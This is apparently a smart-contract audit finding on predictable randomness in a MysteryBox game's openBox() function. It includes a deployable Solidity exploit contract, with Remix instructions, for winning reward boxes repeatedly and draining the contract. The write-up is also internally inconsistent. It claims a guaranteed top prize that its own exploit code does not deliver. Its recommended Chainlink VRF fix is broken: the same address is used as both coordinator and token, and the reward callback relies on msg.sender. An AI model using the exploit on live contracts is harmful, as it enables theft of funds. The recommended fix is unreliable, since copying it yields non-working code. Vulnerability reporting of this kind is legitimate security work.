Summary
The openBox()
function utilizes weak and predictable randomness, allowing an attacker to manipulate the outcome of the rewards, resulting in a 100% chance to win the highest prize. This randomness issue stems from the use of block.timestamp
and msg.sender
in the keccak256
hashing function, which are easily predictable and manipulable.
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
Vulnerability Details
The issue lies in how the random value is generated:
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
Predictable Input: block.timestamp
is a public value that can be predicted or influenced by miners. Additionally, msg.sender
is known to the attacker. Both values are easily controlled or anticipated.
Modulo Bias: The use of modulo (% 100
) further limits the randomness, making the outcome even more predictable.
By leveraging these predictable inputs, an attacker can execute transactions at precise timestamps, ensuring they always win the highest reward.
Exploit Details:
An attacker can continuously monitor the block.timestamp
value and execute transactions at optimal times to generate a desired randomValue
of 99. This guarantees the attacker receives the "Gold Coin" reward (worth 1 ether) 100% of the time.
Proof of Concept:
-
The attacker writes a script that sends a transaction at a known block.timestamp
value.
-
By controlling the timing, the randomValue
becomes predictable.
-
The attacker repeatedly wins with Zero Losses.
Deploy this Exploit code with remix IDE Using `MysteryBox` contract address, Then run the buy function and Run The Play Function Continually To Win.
pragma solidity ^0.8.0;
interface IMysteryBox {
function buyBox() external payable;
function openBox() external;
function boxesOwned(address _owner) external view returns (uint256);
function claimAllRewards() external ;
}
contract MysteryBoxExploit {
IMysteryBox public mysteryBox;
address public owner;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
owner = msg.sender;
}
function calculateRandom() public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
}
function buy() public payable {
require(msg.sender == owner, "Not owner");
mysteryBox.buyBox{value: 0.1 ether}();
}
function play() public {
require(msg.sender == owner, "Not owner");
require(mysteryBox.boxesOwned(address(this)) > 0, "No boxes owned");
uint256 predictedRandomValue = calculateRandom();
if (predictedRandomValue >= 90) {
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
}
receive() external payable {}
}
Impact
The vulnerability allows an attacker to:
Exploit the openBox()
function to always win valuable reward With Zero Losses.
Drain the contract of valuable tokens or funds by continuously receiving the highest reward.
Undermine the fairness of the game or system by manipulating the outcome.
Tools Used
Recommendations
To fix this issue, the randomness source must be improved by incorporating more unpredictable values, such as Chainlink VRF (Verifiable Random Function) or other secure oracle-based solutions. Here's an updated version using Chainlink VRF for secure randomness:
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract SecureBox is VRFConsumerBase {
bytes32 internal keyHash;
uint256 internal fee;
constructor()
VRFConsumerBase(
0x514910771AF9Ca656af840dff83E8264EcF986CA,
0x514910771AF9Ca656af840dff83E8264EcF986CA
)
{
keyHash = 0x6c3699283bda56ad74f6b855546325b68d482e983852a7b6d5d007f8fe3388f5;
fee = 0.1 * 10**18;
}
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
uint256 randomValue = randomness % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
}